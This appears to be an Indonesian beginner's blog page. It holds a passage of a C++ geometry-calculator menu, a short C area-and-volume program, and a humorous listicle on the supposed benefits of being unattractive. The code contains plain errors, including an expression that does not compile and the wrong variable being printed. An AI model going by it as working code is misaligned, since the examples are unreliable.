        gotoxy(20,6);cout<<"panjang";cin>>p;
        gotoxy(20,7);cout<<"lebar";cin>>l;
        ls=p*l;
        gotoxy(20,8);cout<<"luas persegi panjang:"<<ls;
        break;
         case 4:
        gotoxy(20,5);cout<<"keliling lingkaran";
        gotoxy(20,6);cout<<"jari-jari";cin>>r;
        ls=2*3.14*r;
        gotoxy(20,7);cout<<"lingkaran"<<l;
        break;

     case 5:
        gotoxy(20,5);cout<<"keliling persegi panjang";
        gotoxy(20,6);cout<<"panjang";cin>>p;
        gotoxy(20,7);cout<<"lebar";cin>>l;
        ls=2*p+2l;
        gotoxy(20,8);cout<<"keliling persegi panjang"<<ls;

        break;
        }
        getche();
 }while(pil !=6);
 }

Tugas Pertama ku C++ Menghitung P.L.S Persegi Panjang Oleh Pak Mesran

#include "conio.h"
#include "stdio.h"
void main(){
    int p,l,s; int pil;
    float ls,vol;
gotoxy(20,1);printf("menu");
    printf("\n hitung luas");
    printf("\n1 hitung volume");
    printf("\n2 pilihan");
    scanf("%d",& pil);
    if(pil==1){
        clrscr();
        printf("menghitung luas");
        printf("\n lebar`:");
        scanf("%d",&p);
        printf("\panjang`:");
        scanf("%d",&l);
        ls=p*l;
        printf("luas :%2f",ls);
        }else {
        clrscr();
        printf("sisi :");
        scanf("%d",&s);
        vol=s*s*s;
        printf("\n volume :%2f",vol);
        }
    }

Beberapa Manfaat Memiliki Wajah Kurang Ganteng

Tenang semua itu ada hikmahnya kok, yah begitulah nasihat yang seharusnya diberikan pada orang-orang yang wajahnya "kurang baik alias gak tampan" (saya termasuk kali hehe). karena gak semua orang gak tampan itu dirugikan,, nah supaya kita bersyukur atas kejelekan wajah kita ini 8 keuntungan menjadi orang yang gak tampan..

Saya rasa tidak ada orang yang ingin dilahirkan jadi orang jelek karena semua ingin lahir dengan rupa yang baik dan setelah besar tumbuh dan berkembang menjadi orang yang cakep yaitu kalau laki-laki itu ganteng dan kalau perempuan itu cantik. Tapi apa mau dikata kita tidak bisa memilih dan penampilan merupakan anugerah dari Sang Maha Kuasa.

Sebenarnya orang yang memiliki wajah atau penampilan yang relatif jelek itu tidak selalu membawa berkah karena semua ada hikmah atau keunggulan tertentu yang belum tentu bisa diraih oleh orang yang berpenampilan relatif baik. Diantaranya yaitu :

1. Tidak Banyak Gangguan Untuk Mengembangkan Diri
Orang yang berwajah jelek dan biasa saja punya banyak waktu luang untuk pengembangan diri karena tidak banyak gangguan dengan pacaran, dikejar penggemar, digoda lawan jenis, ditawari jadi foto model, kerja part time yang mengumbar kelebihan fisik, dan berbagai gangguan lain akibat keunggulan fisik. Terdapat waktu banyak untuk belajar dan berkarir labih serius untuk mempersiapkan masa depan yang akan dijalani nanti.

2. Tidak Mengalami Patah Hati Yang Serius
Kalau selama remaja tidak memikirkan masalah pacaran maka tidak mungkin ada rasa sakit hati karena diputuskan pacar, dikhianati pacar, rasa cemburu buta, dan lain sebagainya. Paling-paling hanya iri sama orang lain karena jomblo dan cemburu karena lawan jenis yang kita suka mesra dengan orang lain.

 3.Mendapat Jodoh Yang Serius Dan Baik
Jika serius menggarap masa depan dan akhirnya mendulang sukses, pintar serta kemapanan maka tidak mungkin jodoh akan datang sendiri karena dari sisi bobot bibit bebet terpenuhi bobot dan bebet. Dengan kondisi sukses maka orang jelek bisa memperbaiki penampilan diri dengan uang yang melimpah sehingga memperbesar mendapat pasangan yang berkualitas baik. Tetapi jangan terlalu mengharap yang high quality karena cukup pandai dan baik saja itu sudah cukup untuk membentuk keluarga yang bahagia. Tidak perlu dapat jodoh yang cakep di fisik saja karena justru bisa menimbulkan masalah jika orang itu tidak memiliki itikad baik dan juga terlalu lugu / polos.


4. Lebih Bisa Menjaga Kesucian (Keperawanan / Keperjakaan)
Orang yang jelek / biasa yang memiliki iman yang kuat kurang dilirik lawan jenis untuk diajak melakukan seks bebas sehingga banyak terhindar dari perbuatan dosa, dari pergaulan bebas yang salah jalan, dari pengaruh ajakan narkoba, rokok, minuman keras, dsb. Setelah dewasa pun akan punya rasa percaya diri dan nilai lebih dari orang yang terjerumus pergaulan sesat. Orang yang jelek atau biasa saja bisa juga terjerumus jika tidak punya iman hanya sebagai orang yang diperalat oleh lawan jenis untuk pemuas nafsu, pemorotan uang, dll. Yang pasti setelah dewasa dan sadar orang jelek / biasa akan lebih menyesal dari yang berpenampilan oke.

 5. Punya Banyak Kesempatan Untuk Mencengangkan Orang LainOrang yang mukanya biasa ke bawah biasanya kurang diperhitungkan dan dianggap masa depan akan biasa-biasa atau di bawah standard. Namun jika serius menggarap masa depan dan berhasil maka orang yang menganggap rendah kita akan tercengang hebat dan iri. Para lawan jenis pun dari yang acuh bisa berubah menjadi suka karena kepandaian dan kesuksesan yang telah diraih dengan kerja keras hasil banting tulang sendiri.

6. Minim Gangguan Setelah Berkeluarga
Orang yang memiliki muka yang jelek dan biasa umumnya kurang dilirik oleh pihak luar yang dapat menghancurkan koharmonisan rumah tangga yang sedang berjalan. Yang ada mungkin pihak luar yang hanya suka dengan harta yang dimiliki oleh keluarga itu. Dengan begitu bagi orang jelek / biasa yang pandai dan beriman, rintangan hidup semacam itu tidak akan diindahkan.

7. Meminimalisir Berbagai Tindak Kejahatan / Kriminalitas Seksual
Memiliki wajah yang dianggap bagus akan membahayakan kita ketika masih kecil dan remaja yang umumnya memiliki pemikiran yang polos. Ada banyak orang dewasa yang suka memangsa anak di bawah umur serta orang dewasa yang senang menjerumuskan pemuda pemudi abg ke lembah hitam. Memiliki anak yang secara umum dinilai cakep akan lebih membuat kita waswas karena akan lebih aktif dalam menarik rasa suka dari teman sebaya maupun yang lebih tua. Jika tidak diawasi dan dibekali dengan baik, masa depannya bisa hancur berantakan dalam sekejap.

8. Lebih Dihargai Karena Kemampuan Murni & Keimanan
Seseorang yang cerdas / pandai dengan ilmu pengetahuan yang dimiliki serta memiliki keimanan yang baik di sisi agama sehingga memberikan sumbangsih yang besar bagi masyarakat umum akan jauh lebih dihargai oleh orang lain dan juga Tuhan. Berbeda dengan orang yang cakep secara fisik namun otaknya biasa dan perilakunya kurang baik di mata masyarakat. Mungkin orang segan kerena dia cakep tapi di belakang akan dicemoh. Orang jelek yang bodoh akan sangat berbahaya di masa depan, karena akan kalah bersaing dengan orang cakep yang bodoh. Tetapi orang jelek yang cerdas akan bisa memiliki ribuan anak buah yang cakep-cakep.

Dari itu yang merasa kurang ganteng  jangan terlalu mudah putus asa.......
Semangat trusss...........

Blog Pemula

Ini adalah Blog Pertama ku.